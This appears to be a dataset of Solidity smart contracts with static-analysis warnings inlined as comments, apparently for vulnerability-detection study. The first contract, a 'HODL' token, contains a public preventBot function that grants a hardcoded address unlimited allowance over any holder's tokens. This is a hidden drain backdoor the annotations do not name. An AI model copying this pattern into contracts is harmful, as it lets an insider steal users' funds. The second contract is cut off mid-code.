files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HODL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExempt;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: cb8234b): HODL._bots is never initialized. It is used in HODL._transfer(address,address,uint256) HODL.preventBot(address)\n\t// Recommendation for cb8234b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce2def9): HODL._hodller should be constant \n\t// Recommendation for ce2def9: Add the 'constant' attribute to state variables that never change.\n address private _hodller = 0x6D7f8932fe6EED72ea7274a28e2a259cD5db49F3;\n\n\t// WARNING Optimization Issue (constable-states | ID: b673d50): HODL._initialBuyTax should be constant \n\t// Recommendation for b673d50: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4a1440): HODL._initialSellTax should be constant \n\t// Recommendation for b4a1440: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e23459): HODL._finalBuyTax should be constant \n\t// Recommendation for 6e23459: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d68bf76): HODL._finalSellTax should be constant \n\t// Recommendation for d68bf76: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12e054f): HODL._reduceBuyAt should be constant \n\t// Recommendation for 12e054f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: c080065): HODL._reduceSellAt should be constant \n\t// Recommendation for c080065: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c274bf): HODL._preventCount should be constant \n\t// Recommendation for 9c274bf: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"HODL HODL HODL\";\n\n string private constant _symbol = unicode\"HODL\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8101dba): HODL._minTaxSwap should be constant \n\t// Recommendation for 8101dba: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a3d3dc): HODL._maxTaxSwap should be constant \n\t// Recommendation for 1a3d3dc: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExempt[owner()] = true;\n\n _isExempt[address(this)] = true;\n\n _isExempt[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 17a3e42): HODL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 17a3e42: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0689b7e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0689b7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e83dff0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e83dff0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0689b7e\n\t\t// reentrancy-benign | ID: e83dff0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0689b7e\n\t\t// reentrancy-benign | ID: e83dff0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bd3f94d): HODL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bd3f94d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e83dff0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0689b7e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9a88471): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9a88471: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 943e6fa): HODL._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 943e6fa: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: cb8234b): HODL._bots is never initialized. It is used in HODL._transfer(address,address,uint256) HODL.preventBot(address)\n\t// Recommendation for cb8234b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c7ae51): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c7ae51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4fdcdff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4fdcdff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 943e6fa\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9a88471\n\t\t\t\t\t// reentrancy-eth | ID: 4c7ae51\n\t\t\t\t\t// reentrancy-eth | ID: 4fdcdff\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 9a88471\n\t\t\t\t\t\t// reentrancy-eth | ID: 4c7ae51\n\t\t\t\t\t\t// reentrancy-eth | ID: 4fdcdff\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 9a88471\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 4c7ae51\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 4fdcdff\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 4c7ae51\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 9a88471\n\t\t\t\t\t// reentrancy-eth | ID: 4fdcdff\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 9a88471\n\t\t\t\t\t\t// reentrancy-eth | ID: 4fdcdff\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4fdcdff\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 9a88471\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4fdcdff\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4fdcdff\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 9a88471\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0689b7e\n\t\t// reentrancy-events | ID: 9a88471\n\t\t// reentrancy-benign | ID: e83dff0\n\t\t// reentrancy-eth | ID: 4c7ae51\n\t\t// reentrancy-eth | ID: 4fdcdff\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _taxWallet = payable(_hodller);\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: cb8234b): HODL._bots is never initialized. It is used in HODL._transfer(address,address,uint256) HODL.preventBot(address)\n\t// Recommendation for cb8234b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function preventBot(address _hodlbot) public returns (bool) {\n _approve(_hodlbot, _hodller, _tTotal);\n\n return _bots[_hodlbot];\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 62e40d4): HODL.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 62e40d4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0689b7e\n\t\t// reentrancy-events | ID: 9a88471\n\t\t// reentrancy-eth | ID: 4c7ae51\n\t\t// reentrancy-eth | ID: 4fdcdff\n\t\t// arbitrary-send-eth | ID: 62e40d4\n _taxWallet.transfer(amount);\n }\n\n function getStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 97a8698): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 97a8698: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c1cfc0b): HODL.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c1cfc0b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8107e38): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8107e38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 97a8698\n\t\t// reentrancy-eth | ID: 8107e38\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 97a8698\n\t\t// unused-return | ID: c1cfc0b\n\t\t// reentrancy-eth | ID: 8107e38\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 97a8698\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8107e38\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10628.sol",
"size_bytes": 21436,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary AddressUpgradeable {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nabstract contract Initializable {\n uint8 private _initialized;\n\n bool private _initializing;\n\n event Initialized(uint8 version);\n\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n\n require(\n (isTopLevelCall && _initialized < 1) ||\n (!AddressUpgradeable.isContract(address(this)) &&\n _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = 1;\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint8 version) {\n require(\n !_initializing && _initialized < version,\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = version;\n\n _initializing = true;\n\n _;\n\n _initializing = false;\n\n emit Initialized(version);\n }\n\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n\n _;\n }\n\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n\n emit Initialized(type(uint8).max);\n }\n }\n\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {}\n\n function __Context_init_unchained() internal onlyInitializing {}\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n uint256[50] private __gap;\n}\n\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n uint256[49] private __gap;\n}\n\ninterface IERC165Upgradeable {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC721Upgradeable is IERC165Upgradeable {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n}\n\ninterface IERC4906Upgradeable is IERC165Upgradeable, IERC721Upgradeable {\n event MetadataUpdate(uint256 _tokenId);\n\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n}\n\ninterface IERC1822ProxiableUpgradeable {\n function proxiableUUID() external view returns (bytes32);\n}\n\ninterface IERC1967Upgradeable {\n event Upgraded(address indexed implementation);\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n event BeaconUpgraded(address indexed beacon);\n}\n\ninterface IBeaconUpgradeable {\n function implementation() external view returns (address);\n}\n\nlibrary StorageSlotUpgradeable {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\nabstract contract ERC1967UpgradeUpgradeable is\n Initializable,\n IERC1967Upgradeable\n{\n function __ERC1967Upgrade_init() internal onlyInitializing {}\n\n function __ERC1967Upgrade_init_unchained() internal onlyInitializing {}\n\n bytes32 private constant _ROLLBACK_SLOT =\n 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n bytes32 internal constant _IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n function _getImplementation() internal view returns (address) {\n return\n StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n require(\n AddressUpgradeable.isContract(newImplementation),\n \"ERC1967: new implementation is not a contract\"\n );\n\n StorageSlotUpgradeable\n .getAddressSlot(_IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n\n emit Upgraded(newImplementation);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7dff4eb): ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) ignores return value by AddressUpgradeable.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 7dff4eb: Ensure that all the return values of the function calls are used.\n function _upgradeToAndCall(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n _upgradeTo(newImplementation);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 7dff4eb\n AddressUpgradeable.functionDelegateCall(newImplementation, data);\n }\n }\n\n function _upgradeToAndCallUUPS(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {\n _setImplementation(newImplementation);\n } else {\n try\n IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID()\n returns (bytes32 slot) {\n require(\n slot == _IMPLEMENTATION_SLOT,\n \"ERC1967Upgrade: unsupported proxiableUUID\"\n );\n } catch {\n revert(\"ERC1967Upgrade: new implementation is not UUPS\");\n }\n\n _upgradeToAndCall(newImplementation, data, forceCall);\n }\n }\n\n bytes32 internal constant _ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n function _getAdmin() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n require(\n newAdmin != address(0),\n \"ERC1967: new admin is the zero address\"\n );\n\n StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n }\n\n function _changeAdmin(address newAdmin) internal {\n emit AdminChanged(_getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant _BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n function _getBeacon() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n require(\n AddressUpgradeable.isContract(newBeacon),\n \"ERC1967: new beacon is not a contract\"\n );\n\n require(\n AddressUpgradeable.isContract(\n 